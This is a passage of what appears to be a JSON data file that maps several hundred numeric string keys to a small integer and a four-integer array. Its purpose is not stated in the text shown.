           "3195": [2, [20, 79, 23, 60]],
           "824": [5, [19, 80, 22, 47]],
           "825": [5, [19, 80, 23, 47]],
           "1020": [5, [19, 80, 21, 54]],
           "1039": [16, [19, 80, 25, 42]],
           "985": [5, [20, 80, 21, 54]],
           "997": [5, [20, 80, 23, 43]],
           "1017": [5, [20, 80, 23, 40]],
           "1018": [5, [20, 80, 24, 40]],
           "1009": [16, [20, 80, 25, 45]],
           "1328": [6, [19, 81, 22, 1]],
           "1342": [6, [19, 81, 21, 11]],
           "3021": [8, [19, 135, 24, 107]],
           "3031": [8, [19, 135, 21, 4]],
           "1829": [9, [19, 135, 25, 11]],
           "3235": [11, [19, 370, 23, 1]],
           "3238": [11, [19, 370, 22, 1]],
           "3246": [11, [19, 370, 24, 12]],
           "3237": [11, [19, 370, 24, 107]],
           "3316": [1, [19, 371, 26, 5]],
           "1100": [13, [20, 104, 21, 46]],
           "1116": [13, [20, 104, 21, 44]],
           "3417": [3, [19, 79, 83, 23]],
           "2389": [0, [19, 79, 22, 10]],
           "2395": [0, [19, 79, 24, 4]],
           "2419": [0, [19, 79, 21, 3]],
           "2429": [0, [19, 79, 24, 9]],
           "2527": [0, [19, 79, 22, 19]],
           "2528": [0, [19, 79, 23, 19]],
           "3406": [1, [19, 79, 84, 24]],
           "2582": [1, [19, 79, 26, 67]],
           "2093": [2, [19, 79, 23, 3]],
           "2106": [2, [19, 79, 21, 4]],
           "2356": [3, [19, 79, 26, 72]],
           "3411": [3, [19, 79, 83, 72]],
           "414": [0, [20, 79, 23, 7]],
           "420": [0, [20, 79, 24, 9]],
           "444": [0, [20, 79, 23, 8]],
           "3184": [0, [20, 79, 24, 60]],
           "3188": [0, [20, 79, 22, 60]],
           "3127": [0, [20, 79, 21, 19]],
           "3134": [0, [20, 79, 22, 19]],
           "1704": [0, [20, 79, 23, 27]],
           "1732": [0, [20, 79, 21, 22]],
           "2436": [0, [20, 79, 22, 12]],
           "2441": [0, [20, 79, 22, 1]],
           "2443": [0, [20, 79, 24, 1]],
           "2457": [0, [20, 79, 23, 4]],
           "2460": [0, [20, 79, 21, 7]],
           "2462": [0, [20, 79, 23, 7]],
           "2488": [0, [20, 79, 23, 8]],
           "2551": [0, [20, 79, 21, 3]],
           "2589": [0, [20, 79, 21, 27]],
           "2591": [0, [20, 79, 23, 27]],
           "2592": [0, [20, 79, 24, 27]],
           "3420": [3, [19, 79, 84, 23]],
           "3426": [3, [19, 79, 84, 67]],
           "2190": [2, [20, 79, 21, 5]],
           "3157": [2, [20, 79, 21, 43]],
           "1042": [5, [19, 80, 23, 45]],
           "1046": [5, [19, 80, 22, 44]],
           "1034": [16, [19, 80, 25, 43]],
           "990": [5, [20, 80, 21, 4]],
           "993": [5, [20, 80, 24, 4]],
           "1004": [16, [20, 80, 25, 42]],
           "1019": [16, [20, 80, 25, 40]],
           "1325": [6, [19, 81, 24, 38]],
           "1327": [6, [19, 81, 21, 1]],
           "1329": [6, [19, 81, 23, 1]],
           "1330": [6, [19, 81, 24, 1]],
           "852": [6, [20, 81, 22, 1]],
           "2861": [4, [19, 218, 22, 18]],
           "2859": [7, [19, 218, 84, 8]],
           "3500": [4, [20, 393, 21, 12]],
           "3510": [4, [20, 393, 22, 3]],
           "2881": [7, [19, 218, 26, 9]],
           "2820": [4, [20, 213, 21, 27]],
           "2821": [4, [20, 213, 22, 27]],
           "3020": [8, [19, 135, 23, 107]],
           "3026": [8, [19, 135, 22, 1]],
           "2952": [6, [19, 328, 21, 12]],
           "2979": [6, [19, 328, 24, 74]],
           "2965": [6, [19, 328, 22, 4]],
           "2975": [15, [19, 328, 26, 19]],
           "3250": [11, [19, 370, 22, 31]],
           "3274": [12, [19, 371, 21, 12]],
           "3282": [12, [19, 371, 24, 1]],
           "3284": [12, [19, 371, 22, 9]],
           "3287": [1, [19, 371, 26, 7]],
           "3295": [1, [19, 371, 26, 9]],
           "1101": [13, [20, 104, 22, 46]],
           "1107": [13, [20, 104, 24, 38]],
           "1126": [13, [20, 104, 23, 40]],
           "1135": [13, [20, 104, 24, 65]],
           "1138": [13, [20, 104, 23, 54]],
           "1139": [13, [20, 104, 24, 54]],
           "2391": [0, [19, 79, 24, 10]],
           "2392": [0, [19, 79, 21, 4]],
           "2405": [0, [19, 79, 23, 6]],
           "2411": [0, [19, 79, 21, 8]],
           "2422": [0, [19, 79, 21, 9]],
           "2423": [0, [19, 79, 22, 9]],
           "2567": [0, [19, 79, 23, 69]],
           "2571": [0, [19, 79, 21, 23]],
           "2631": [0, [19, 79, 21, 71]],
           "2638": [0, [19, 79, 22, 72]],
           "2639": [0, [19, 79, 23, 72]],
           "2640": [0, [19, 79, 24, 72]],
           "2643": [0, [19, 79, 21, 22]],
           "2644": [0, [19, 79, 22, 22]],
           "533": [1, [19, 79, 84, 9]],
           "536": [1, [19, 79, 83, 11]],
           "537": [1, [19, 79, 84, 11]],
           "538": [1, [19, 79, 83, 4]],
           "906": [1, [19, 79, 26, 42]],
           "924": [1, [19, 79, 26, 19]],
           "1671": [1, [19, 79, 26, 27]],
           "2622": [0, [20, 79, 24, 22]],
           "980": [4, [20, 79, 26, 4]],
           "983": [4, [20, 79, 26, 8]],
           "3156": [4, [20, 79, 26, 43]],
           "3407": [1, [19, 79, 84, 24]],
           "2505": [4, [20, 79, 26, 1]],
           "2594": [4, [20, 79, 26, 27]],
           "2150": [2, [20, 79, 22, 12]],
           "2152": [2, [20, 79, 24, 12]],
           "2162": [2, [20, 79, 24, 11]],
           "2170": [2, [20, 79, 22, 4]],
           "1043": [5, [19, 80, 24, 45]],
           "1005": [5, [20, 80, 21, 45]],
           "1008": [5, [20, 80, 24, 45]],
           "1013": [5, [20, 80, 24, 44]],
           "1334": [6, [19, 81, 23, 9]],
           "1352": [6, [19, 81, 21, 8]],
           "1341": [14, [19, 81, 25, 57]],
           "872": [6, [20, 81, 22, 7]],
           "873": [6, [20, 81, 23, 7]],
           "892": [6, [20, 81, 22, 9]],
           "893": [6, [20, 81, 23, 9]],
           "855": [14, [20, 81, 25, 1]],
           "2959": [6, [19, 328, 22, 1]],
           "2982": [6, [19, 328, 21, 3]],
           "2984": [6, [19, 328, 23, 3]],
           "3233": [11, [19, 370, 21, 12]],
           "3247": [11, [19, 370, 23, 12]],
           "3248": [11, [19, 370, 21, 1]],
           "3251": [11, [19, 370, 24, 31]],
           "3273": [12, [19, 371, 24, 9]],
           "3278": [12, [19, 371, 23, 1]],
           "3281": [12, [19, 371, 23, 9]],
           "3291": [12, [19, 371, 23, 8]],
           "3293": [12, [19, 371, 21, 9]],
           "3312": [12, [19, 371, 23, 5]],
           "3314": [12, [19, 371, 24, 5]],
           "3302": [12, [19, 371, 21, 1]],
           "1111": [13, [20, 104, 24, 57]],
           "1118": [13, [20, 104, 23, 44]],
           "1124": [13, [20, 104, 21, 40]],
           "1128": [13, [20, 104, 21, 42]],
           "2394": [0, [19, 79, 23, 4]],
           "2399": [0, [19, 79, 22, 5]],
           "2416": [0, [19, 79, 22, 11]],
           "3230": [0, [19, 79, 22, 108]],
           "2522": [0, [19, 79, 23, 44]],
           "2533": [0, [19, 79, 22, 45]],
           "2553": [0, [19, 79, 21, 27]],
           "2573": [0, [19, 79, 23, 23]],
           "2585": [0, [19, 79, 23, 21]],
           "10": [1, [19, 79, 26, 5]],
           "534": [1, [19, 79, 83, 1]],
           "539": [1, [19, 79, 84, 4]],
           "1689": [1, [19, 79, 26, 23]],
           "2365": [1, [19, 79, 26, 12]],
           "2371": [1, [19, 79, 26, 4]],
           "3412": [1, [19, 79, 84, 72]],
           "2513": [1, [19, 79, 26, 42]],
           "2558": [1, [19, 79, 26, 27]],
           "2362": [3, [19, 79, 26, 22]],
           "393": [0, [20, 79, 22, 1]],
           "423": [0, [20, 79, 22, 2]],
           "435": [0, [20, 79, 24, 5]],
           "437": [0, [20, 79, 21, 6]],
           "439": [0, [20, 79, 23, 6]],
           "3190": [0, [20, 79, 24, 60]],
           "427": [0, [20, 79, 21, 3]],
           "1733": [0, [20, 79, 22, 22]],
           "3153": [0, [20, 79, 23, 43]],
           "3200": [0, [20, 79, 22, 20]],
           "2450": [0, [20, 79, 21, 10]],
           "2453": [0, [20, 79, 24, 10]],
           "2470": [0, [20, 79, 21, 2]],
           "2596": [0, [20, 79, 22, 24]],
           "2616": [0, [20, 79, 24, 68]],
           "3414": [3, [19, 79, 84, 72]],
           "3140": [2, [20, 79, 22, 19]],
           "3196": [2, [20, 79, 24, 60]],
           "3142": [2, [20, 79, 24, 19]],
           "3139": [2, [20, 79, 21, 19]],
           "3159": [2, [20, 79, 23, 43]],
           "2174": [2, [20, 79, 21, 7]],
           "1003": [5, [20, 80, 24, 42]],
           "1007": [5, [20, 80, 23, 45]],
           "1016": [5, [20, 80, 22, 40]],
           "3416": [1, [19, 79, 83, 23]],
           "3477": [3, [19, 79, 83, 19]],
           "3478": [1, [19, 79, 84, 19]],
           "2400": [0, [19, 79, 23, 5]],
           "2410": [0, [19, 79, 24, 7]],
           "2424": [0, [19, 79, 23, 9]],
           "2425": [0, [19, 79, 23, 45]],
           "2432": [0, [19, 79, 23, 2]],
           "3229": [0, [19, 79, 24, 108]],
           "2510": [0, [19, 79, 23, 42]],
           "2516": [0, [19, 79, 23, 43]],
           "2517": [0, [19, 79, 24, 43]],
           "2526": [0, [19, 79, 21, 19]],
           "2529": [0, [19, 79, 24, 19]],
           "2532": [0, [19, 79, 21, 45]],
           "2555": [0, [19, 79, 23, 27]],
           "2556": [0, [19, 79, 24, 27]],
           "2559": [0, [19, 79, 21, 24]],
           "2560": [0, [19, 79, 22, 24]],
           "2566": [0, [19, 79, 22, 69]],
           "2568": [0, [19, 79, 24, 69]],
           "2586": [0, [19, 79, 24, 21]],
           "2626": [0, [19, 79, 22, 70]],
           "2627": [0, [19, 79, 23, 70]],
           "2645": [0, [19, 79, 23, 22]],
           "14": [1, [19, 79, 26, 7]],
           "532": [1, [19, 79, 83, 9]],
           "18": [1, [19, 79, 26, 9]],
           "1677": [1, [19, 79, 26, 24]],
           "3413": [1, [19, 79, 84, 72]],
           "3479": [1, [19, 79, 84, 19]],
           "2428": [1, [19, 79, 26, 45]],
           "2501": [1, [19, 79, 84, 8]],
           "2502": [1, [19, 79, 83, 12]],
           "2519": [1, [19, 79, 26, 43]],
           "2570": [1, [19, 79, 26, 69]],
           "3501": [4, [20, 393, 21, 4]],
           "2588": [1, [19, 79, 26, 21]],
           "2636": [1, [19, 79, 26, 71]],
           "2642": [1, [19, 79, 26, 72]],
           "2118": [2, [19, 79, 22, 6]],
           "2131": [2, [19, 79, 23, 11]],
           "2146": [2, [19, 79, 23, 2]],
           "2224": [2, [19, 79, 23, 42]],
           "2229": [2, [19, 79, 22, 43]],
           "2235": [2, [19, 79, 22, 44]],
           "2274": [2, [19, 79, 22, 24]],
           "3505": [4, [20, 393, 21, 69]],
           "2091": [3, [19, 79, 26, 7]],
           "2284": [3, [19, 79, 26, 69]],
           "3129": [0, [20, 79, 23, 19]],
           "3171": [0, [20, 79, 23, 45]],
           "3207": [0, [20, 79, 23, 20]],
           "3165": [0, [20, 79, 23, 45]],
           "2448": [0, [20, 79, 24, 11]],
           "2463": [0, [20, 79, 24, 7]],
           "2467": [0, [20, 79, 23, 9]],
           "2479": [0, [20, 79, 24, 5]],
           "2487": [0, [20, 79, 22, 8]],
           "2552": [0, [20, 79, 22, 3]],
           "2191": [2, [20, 79, 22, 5]],
           "2304": [2, [20, 79, 22, 27]],
           "2310": [2, [20, 79, 22, 24]],
           "2316": [2, [20, 79, 22, 62]],
           "1036": [5, [19, 80, 22, 42]],
           "833": [16, [19, 80, 25, 46]],
           "808": [5, [20, 80, 23, 46]],
           "3568": [7, [19, 395, 1, 26]],
           "2401": [0, [19, 79, 24, 5]],
           "2406": [0, [19, 79, 24, 6]],
           "3226": [0, [19, 79, 21, 108]],
           "2511": [0, [19, 79, 24, 42]],
           "2554": [0, [19, 79, 22, 27]],
           "374": [1, [19, 79, 26, 3]],
           "542": [1, [19, 79, 83, 12]],
           "912": [1, [19, 79, 26, 43]],
           "3415": [1, [19, 79, 83, 23]],
           "2500": [1, [19, 79, 83, 8]],
           "2576": [1, [19, 79, 26, 23]],
           "2095": [2, [19, 79, 22, 12]],
           "2105": [2, [19, 79, 24, 10]],
           "2137": [2, [19, 79, 22, 9]],
           "2143": [2, [19, 79, 24, 9]],
           "2270": [2, [19, 79, 24, 27]],
           "2275": [2, [19, 79, 23, 24]],
           "2345": [2, [19, 79, 21, 71]],
           "3473": [1, [19, 79, 84, 27]],
           "2142": [3, [19, 79, 26, 45]],
           "2212": [3, [19, 79, 83, 4]],
           "2214": [3, [19, 79, 83, 8]],
           "2239": [3, [19, 79, 26, 44]],
           "409": [0, [20, 79, 23, 4]],
           "433": [0, [20, 79, 22, 5]],
           "1705": [0, [20, 79, 24, 27]],
           "1721": [0, [20, 79, 22, 23]],
           "3135": [0, [20, 79, 23, 19]],
           "3172": [0, [20, 79, 24, 45]],
           "3154": [0, [20, 79, 24, 43]],
           "2437": [0, [20, 79, 23, 12]],
           "2474": [0, [20, 79, 24, 3]],
           "2486": [0, [20, 79, 21, 8]],
           "2601": [0, [20, 79, 21, 62]],
           "3475": [1, [19, 79, 83, 19]],
           "3174": [4, [20, 79, 26, 45]],
           "2154": [2, [20, 79, 21, 1]],
           "2317": [2, [20, 79, 23, 62]],
           "2322": [2, [20, 79, 22, 23]],
           "2328": [2, [20, 79, 22, 68]],
           "2329": [2, [20, 79, 23, 68]],
           "2334": [2, [20, 79, 22, 22]],
           "2336": [2, [20, 79, 24, 22]],
           "2248": [3, [20, 79, 26, 11]],
           "2250": [3, [20, 79, 26, 5]],
           "3502": [4, [20, 393, 21, 3]],
           "829": [5, [19, 80, 21, 46]],
           "1022": [5, [19, 80, 23, 54]],
           "1032": [5, [19, 80, 23, 43]],
           "1041": [5, [19, 80, 22, 45]],
           "1024": [16, [19, 80, 25, 54]],
           "807": [5, [20, 80, 22, 46]],
           "809": [5, [20, 80, 24, 46]],
           "3096": [6, [20, 81, 24, 4]],
           "853": [6, [20, 81, 23, 1]],
           "871": [6, [20, 81, 21, 7]],
           "877": [6, [20, 81, 22, 22]],
           "888": [6, [20, 81, 23, 8]],
           "889": [6, [20, 81, 24, 8]],
           "896": [6, [20, 81, 21, 12]],
           "897": [6, [20, 81, 22, 12]],
           "878": [6, [20, 81, 23, 22]],
           "886": [6, [20, 81, 21, 8]],
           "2838": [4, [19, 218, 23, 12]],
           "2862": [4, [19, 218, 23, 18]],
           "2863": [4, [19, 218, 24, 18]],
           "2870": [4, [19, 218, 23, 7]],
           "2841": [7, [19, 218, 26, 12]],
           "2843": [7, [19, 218, 84, 12]],
           "2850": [7, [19, 218, 83, 1]],
           "3537": [1, [20, 393, 25, 69]],
           "2865": [7, [19, 218, 26, 18]],
           "2866": [7, [19, 218, 83, 18]],
           "2798": [4, [20, 213, 23, 4]],
           "2811": [4, [20, 213, 24, 11]],
           "2826": [4, [20, 213, 21, 9]],
           "3028": [8, [19, 135, 24, 1]],
           "3032": [8, [19, 135, 22, 4]],
           "3038": [8, [19, 135, 22, 19]],
           "3268": [12, [19, 371, 21, 8]],
           "3276": [12, [19, 371, 24, 11]],
           "3292": [1, [19, 371, 26, 8]],
           "1102": [13, [20, 104, 23, 46]],
           "1105": [13, [20, 104, 22, 38]],
           "1113": [13, [20, 104, 22, 59]],
           "1120": [13, [20, 104, 21, 43]],
           "1121": [13, [20, 104, 22, 43]],
           "2407": [0, [19, 79, 21, 7]],
           "2408": [0, [19, 79, 22, 7]],
           "2412": [0, [19, 79, 22, 8]],
           "3231": [0, [19, 79, 23, 108]],
           "2548": [0, [19, 79, 21, 12]],
           "2561": [0, [19, 79, 23, 24]],
           "2562": [0, [19, 79, 24, 24]],
           "2565": [0, [19, 79, 21, 69]],
           "2579": [0, [19, 79, 23, 67]],
           "2583": [0, [19, 79, 21, 21]],
           "2634": [0, [19, 79, 24, 71]],
           "535": [1, [19, 79, 84, 1]],
           "2547": [1, [19, 79, 26, 2]],
           "2101": [2, [19, 79, 24, 1]],
           "2102": [2, [19, 79, 21, 10]],
           "2107": [2, [19, 79, 22, 4]],
           "2109": [2, [19, 79, 24, 4]],
           "2113": [2, [19, 79, 22, 5]],
           "2242": [2, [19, 79, 23, 19]],
           "2243": [2, [19, 79, 24, 19]],
           "2340": [2, [19, 79, 22, 70]],
           "2296": [3, [19, 79, 26, 67]],
           "395": [0, [20, 79, 24, 1]],
           "424": [0, [20, 79, 23, 2]],
           "429": [0, [20, 79, 23, 3]],
           "3208": [0, [20, 79, 24, 20]],
           "3166": [0, [20, 79, 24, 45]],
           "3202": [0, [20, 79, 24, 20]],
           "3170": [0, [20, 79, 22, 45]],
           "1702": [0, [20, 79, 21, 27]],
           "1720": [0, [20, 79, 21, 23]],
           "3201": [0, [20, 79, 23, 20]],
           "3152": [0, [20, 79, 22, 43]],
           "3146": [0, [20, 79, 22, 43]],
           "2440": [0, [20, 79, 21, 1]],
           "2446": [0, [20, 79, 22, 11]],
           "2451": [0, [20, 79, 22, 10]],
           "2455": [0, [20, 79, 21, 4]],
           "2456": [0, [20, 79, 22, 4]],
           "2590": [0, [20, 79, 22, 27]],
           "2595": [0, [20, 79, 21, 24]],
           "2607": [0, [20, 79, 21, 23]],
           "978": [4, [20, 79, 26, 2]],
           "3454": [1, [19, 79, 84, 5]],
           "3213": [2, [20, 79, 23, 20]],
           "3214": [2, [20, 79, 24, 20]],
           "3212": [2, [20, 79, 22, 20]],
           "3211": [2, [20, 79, 21, 20]],
           "3158": [2, [20, 79, 22, 43]],
           "2172": [2, [20, 79, 24, 4]],
           "2182": [2, [20, 79, 24, 9]],
           "2266": [2, [20, 79, 22, 3]],
           "2306": [2, [20, 79, 24, 27]],
           "2309": [2, [20, 79, 21, 24]],
           "2318": [2, [20, 79, 24, 62]],
           "2323": [2, [20, 79, 23, 23]],
           "2324": [2, [20, 79, 24, 23]],
           "2333": [2, [20, 79, 21, 22]],
           "2308": [3, [20, 79, 26, 27]],
           "3460": [1, [19, 79, 84, 69]],
           "1021": [5, [19, 80, 22, 54]],
           "1820": [16, [20, 80, 25, 46]],
           "1358": [6, [19, 81, 22, 12]],
           "3093": [14, [20, 81, 25, 11]],
           "3098": [14, [20, 81, 25, 4]],
           "2886": [4, [19, 218, 23, 4]],
           "3465": [3, [19, 79, 83, 6]],
           "2858": [7, [19, 218, 83, 8]],
           "2875": [7, [19, 218, 84, 7]],
           "2793": [4, [20, 213, 24, 1]],
           "2808": [4, [20, 213, 21, 11]],
           "2809": [4, [20, 213, 22, 11]],
           "2815": [4, [20, 213, 22, 12]],
           "2816": [4, [20, 213, 23, 12]],
           "1830": [8, [19, 135, 21, 12]],
           "1833": [8, [19, 135, 24, 12]],
           "2409": [0, [19, 79, 23, 7]],
           "2417": [0, [19, 79, 23, 11]],
           "2426": [0, [19, 79, 24, 45]],
           "3218": [0, [19, 79, 22, 108]],
           "3220": [0, [19, 79, 24, 108]],
           "2509": [0, [19, 79, 22, 42]],
           "2580": [0, [19, 79, 24, 67]],
           "2584": [0, [19, 79, 22, 21]],
           "2633": [0, [19, 79, 23, 71]],
           "540": [1, [19, 79, 83, 8]],
           "541": [1, [19, 79, 84, 8]],
           "960": [1, [19, 79, 83, 7]],
           "918": [1, [19, 79, 26, 44]],
           "3418": [1, [19, 79, 84, 23]],
           "1751": [1, [19, 79, 26, 70]],
           "3438": [3, [19, 79, 84, 3]],
           "1757": [1, [19, 79, 26, 71]],
           "2494": [1, [19, 79, 83, 1]],
           "2543": [1, [19, 79, 26, 9]],
           "2112": [2, [19, 79, 21, 5]],
           "2120": [2, [19, 79, 24, 6]],
           "2128": [2, [19, 79, 24, 8]],
           "2297": [2, [19, 79, 21, 21]],
           "2299": [2, [19, 79, 23, 21]],
           "2342": [2, [19, 79, 24, 70]],
           "2346": [2, [19, 79, 22, 71]],
           "2358": [2, [19, 79, 22, 22]],
           "2359": [2, [19, 79, 23, 22]],
           "3225": [2, [19, 79, 24, 108]],
           "3445": [1, [19, 79, 83, 21]],
           "2302": [3, [19, 79, 26, 21]],
           "3469": [1, [19, 79, 83, 27]],
           "398": [0, [20, 79, 22, 11]],
           "405": [0, [20, 79, 24, 10]],
           "408": [0, [20, 79, 22, 4]],
           "410": [0, [20, 79, 24, 4]],
           "434": [0, [20, 79, 23, 5]],
           "3199": [0, [20, 79, 21, 20]],
           "3206": [0, [20, 79, 22, 20]],
           "1717": [0, [20, 79, 24, 62]],
           "1727": [0, [20, 79, 22, 68]],
           "1735": [0, [20, 79, 24, 22]],
           "3164": [0, [20, 79, 22, 45]],
           "3181": [0, [20, 79, 21, 60]],
           "2438": [0, [20, 79, 24, 12]],
           "2597": [0, [20, 79, 23, 24]],
           "2598": [0, [20, 79, 24, 24]],
           "2603": [0, [20, 79, 23, 62]],
           "2604": [0, [20, 79, 24, 62]],
           "3317": [3, [20, 79, 26, 3]],
           "3503": [4, [20, 393, 21, 11]],
           "2221": [3, [20, 79, 26, 2]],
           "2252": [3, [20, 79, 26, 8]],
           "2314": [3, [20, 79, 26, 24]],
           "1031": [5, [19, 80, 22, 43]],
           "1044": [16, [19, 80, 25, 45]],
           "806": [5, [20, 80, 21, 46]],
           "986": [5, [20, 80, 22, 54]],
           "987": [5, [20, 80, 23, 54]],
           "1015": [5, [20, 80, 21, 40]],
           "1014": [16, [20, 80, 25, 44]],
           "1323": [6, [19, 81, 22, 38]],
           "1332": [6, [19, 81, 21, 9]],
           "1350": [6, [19, 81, 24, 7]],
           "1326": [14, [19, 81, 25, 38]],
           "3089": [6, [20, 81, 21, 11]],
           "3092": [6, [20, 81, 22, 11]],
           "876": [6, [20, 81, 21, 22]],
           "887": [6, [20, 81, 22, 8]],
           "875": [14, [20, 81, 25, 7]],
           "2836": [4, [19, 218, 21, 12]],
           "2846": [4, [19, 218, 23, 1]],
           "2817": [4, [20, 213, 24, 12]],
           "3037": [8, [19, 135, 21, 19]],
           "1849": [9, [19, 135, 25, 30]],
           "3036": [10, [19, 135, 26, 4]],
           "2989": [6, [19, 328, 22, 75]],
           "2957": [15, [19, 328, 26, 12]],
           "2981": [15, [19, 328, 26, 74]],
           "3234": [11, [19, 370, 22, 12]],
           "3569": [7, [19, 395, 1, 12]],
           "3269": [12, [19, 371, 22, 11]],
           "3275": [12, [19, 371, 22, 12]],
           "3280": [12, [19, 371, 23, 11]],
           "3283": [12, [19, 371, 24, 7]],
           "3286": [12, [19, 371, 23, 7]],
           "3294": [12, [19, 371, 24, 8]],
           "3297": [12, [19, 371, 23, 12]],
           "3272": [1, [19, 371, 26, 11]],
           "3601": [7, [19, 395, 23, 3]],
           "3279": [1, [19, 371, 26, 1]],
           "3618": [17, [19, 395, 25, 60]],
           "1108": [13, [20, 104, 21, 57]],
           "1114": [13, [20, 104, 23, 59]],
           "1119": [13, [20, 104, 24, 44]],
           "1127": [13, [20, 104, 24, 40]],
           "1132": [13, [20, 104, 21, 65]],
           "2413": [0, [19, 79, 23, 8]],
           "2430": [0, [19, 79, 21, 2]],
           "2433": [0, [19, 79, 24, 2]],
           "3217": [0, [19, 79, 21, 108]],
           "2572": [0, [19, 79, 22, 23]],
           "2574": [0, [19, 79, 24, 23]],
           "2637": [0, [19, 79, 21, 72]],
           "1683": [1, [19, 79, 26, 69]],
           "1701": [1, [19, 79, 26, 21]],
           "1813": [1, [19, 79, 26, 72]],
           "1819": [1, [19, 79, 26, 22]],
           "2525": [1, [19, 79, 26, 44]],
           "2531": [1, [19, 79, 26, 19]],
           "2564": [1, [19, 79, 26, 24]],
           "2099": [2, [19, 79, 22, 1]],
           "2103": [2, [19, 79, 22, 10]],
           "2104": [2, [19, 79, 23, 10]],
           "2108": [2, [19, 79, 23, 4]],
           "2117": [2, [19, 79, 21, 6]],
           "2119": [2, [19, 79, 23, 6]],
           "2124": [2, [19, 79, 24, 7]],
           "2126": [2, [19, 79, 22, 8]],
           "2127": [2, [19, 79, 23, 8]],
           "2132": [2, [19, 79, 24, 11]],
           "2223": [2, [19, 79, 22, 42]],
           "2237": [2, [19, 79, 24, 44]],
           "2291": [2, [19, 79, 21, 67]],
           "2292": [2, [19, 79, 22, 67]],
           "2294": [2, [19, 79, 24, 67]],
           "2339": [2, [19, 79, 21, 70]],
           "2087": [3, [19, 79, 26, 5]],
           "2206": [3, [19, 79, 83, 9]],
           "2217": [3, [19, 79, 84, 12]],
           "2233": [3, [19, 79, 26, 43]],
           "2255": [3, [19, 79, 26, 8]],
           "2278": [3, [19, 79, 26, 24]],
           "3145": [0, [20, 79, 21, 43]],
           "3163": [0, [20, 79, 21, 45]],
           "2602": [0, [20, 79, 22, 62]],
           "977": [4, [20, 79, 26, 9]],
           "979": [4, [20, 79, 26, 11]],
           "2539": [4, [20, 79, 26, 12]],
           "3175": [2, [20, 79, 21, 45]],
           "2149": [2, [20, 79, 21, 12]],
           "2151": [2, [20, 79, 23, 12]],
           "2155": [2, [20, 79, 22, 1]],
           "2157": [2, [20, 79, 24, 1]],
           "2169": [2, [20, 79, 21, 4]],
           "2193": [2, [20, 79, 24, 5]],
           "2195": [2, [20, 79, 21, 6]],
           "2249": [3, [20, 79, 26, 4]],
           "3419": [1, [19, 79, 84, 23]],
           "823": [5, [19, 80, 21, 47]],
           "830": [5, [19, 80, 22, 46]],
           "1026": [5, [19, 80, 22, 4]],
           "1047": [5, [19, 80, 23, 44]],
           "1037": [5, [19, 80, 23, 42]],
           "1038": [5, [19, 80, 24, 42]],
           "992": [5, [20, 80, 23, 4]],
           "1002": [5, [20, 80, 23, 42]],
           "999": [16, [20, 80, 25, 43]],
           "1348": [6, [19, 81, 22, 7]],
           "1355": [6, [19, 81, 24, 8]],
           "1357": [6, [19, 81, 21, 12]],
           "894": [6, [20, 81, 24, 9]],
           "879": [6, [20, 81, 24, 22]],
           "2837": [4, [19, 218, 22, 12]],
           "2868": [4, [19, 218, 21, 7]],
           "2877": [4, [19, 218, 22, 9]],
           "2878": [4, [19, 218, 23, 9]],
           "2879": [4, [19, 218, 24, 9]],
           "2884": [4, [19, 218, 21, 4]],
           "2867": [7, [19, 218, 84, 18]],
           "2882": [7, [19, 218, 83, 9]],
           "2796": [4, [20, 213, 21, 4]],
           "2802": [4, [20, 213, 21, 7]],
           "2827": [4, [20, 213, 22, 9]],
           "1826": [8, [19, 135, 22, 11]],
           "1847": [8, [19, 135, 23, 30]],
           "1848": [8, [19, 135, 24, 30]],
           "3018": [8, [19, 135, 21, 107]],
           "3019": [8, [19, 135, 22, 107]],
           "3027": [8, [19, 135, 23, 1]],
           "3022": [9, [19, 135, 25, 107]],
           "3029": [9, [19, 135, 25, 1]],
           "2978": [6, [19, 328, 23, 74]],
           "2990": [6, [19, 328, 23, 75]],
           "2988": [6, [19, 328, 21, 75]],
           "3285": [12, [19, 371, 22, 1]],
           "1112": [13, [20, 104, 21, 59]],
           "2431": [0, [19, 79, 22, 2]],
           "3221": [0, [19, 79, 23, 108]],
           "20": [1, [19, 79, 26, 11]],
           "22": [1, [19, 79, 26, 2]],
           "1695": [1, [19, 79, 26, 67]],
           "2369": [1, [19, 79, 26, 10]],
           "2377": [1, [19, 79, 26, 7]],
           "2630": [1, [19, 79, 26, 70]],
           "2092": [2, [19, 79, 22, 3]],
           "2122": [2, [19, 79, 22, 7]],
           "2123": [2, [19, 79, 23, 7]],
           "2140": [2, [19, 79, 24, 45]],
           "2225": [2, [19, 79, 24, 42]],
           "2231": [2, [19, 79, 24, 43]],
           "2234": [2, [19, 79, 21, 44]],
           "2276": [2, [19, 79, 24, 24]],
           "3223": [2, [19, 79, 23, 108]],
           "3224": [2, [19, 79, 22, 108]],
           "2079": [3, [19, 79, 26, 12]],
           "2089": [3, [19, 79, 26, 6]],
           "2215": [3, [19, 79, 84, 8]],
           "2245": [3, [19, 79, 26, 19]],
           "2257": [3, [19, 79, 26, 9]],
           "3421": [1, [19, 79, 83, 67]],
           "2290": [3, [19, 79, 26, 23]],
           "2344": [3, [19, 79, 26, 70]],
           "388": [0, [20, 79, 22, 12]],
           "390": [0, [20, 79, 24, 12]],
           "402": [0, [20, 79, 21, 10]],
           "404": [0, [20, 79, 23, 10]],
           "412": [0, [20, 79, 21, 7]],
           "418": [0, [20, 79, 22, 9]],
           "428": [0, [20, 79, 22, 3]],
           "3189": [0, [20, 79, 23, 60]],
           "3133": [0, [20, 79, 21, 19]],
           "1703": [0, [20, 79, 22, 27]],
           "1715": [0, [20, 79, 22, 62]],
           "3169": [0, [20, 79, 21, 45]],
           "3151": [0, [20, 79, 21, 43]],
           "3472": [1, [19, 79, 84, 27]],
           "3168": [4, [20, 79, 26, 45]],
           "1713": [4, [20, 79, 26, 24]],
           "1737": [4, [20, 79, 26, 22]],
           "2363": [4, [20, 79, 26, 6]],
           "1337": [6, [19, 81, 21, 57]],
           "1339": [6, [19, 81, 23, 57]],
           "1351": [14, [19, 81, 25, 7]],
           "3091": [6, [20, 81, 24, 11]],
           "1846": [8, [19, 135, 22, 30]],
           "3025": [8, [19, 135, 21, 1]],
           "3040": [8, [19, 135, 24, 19]],
           "3042": [10, [19, 135, 26, 19]],
           "3495": [3, [19, 79, 83, 45]],
           "3496": [1, [19, 79, 84, 45]],
           "3504": [4, [20, 393, 21, 47]],
           "3506": [4, [20, 393, 21, 111]],
           "3570": [7, [19, 395, 1, 33]],
           "6": [1, [19, 79, 26, 10]],
           "2367": [1, [19, 79, 26, 1]],
           "3422": [1, [19, 79, 83, 67]],
           "2497": [1, [19, 79, 84, 11]],
           "2498": [1, [19, 79, 83, 4]],
           "2504": [1, [19, 79, 83, 7]],
           "2098": [2, [19, 79, 21, 1]],
           "2100": [2, [19, 79, 23, 1]],
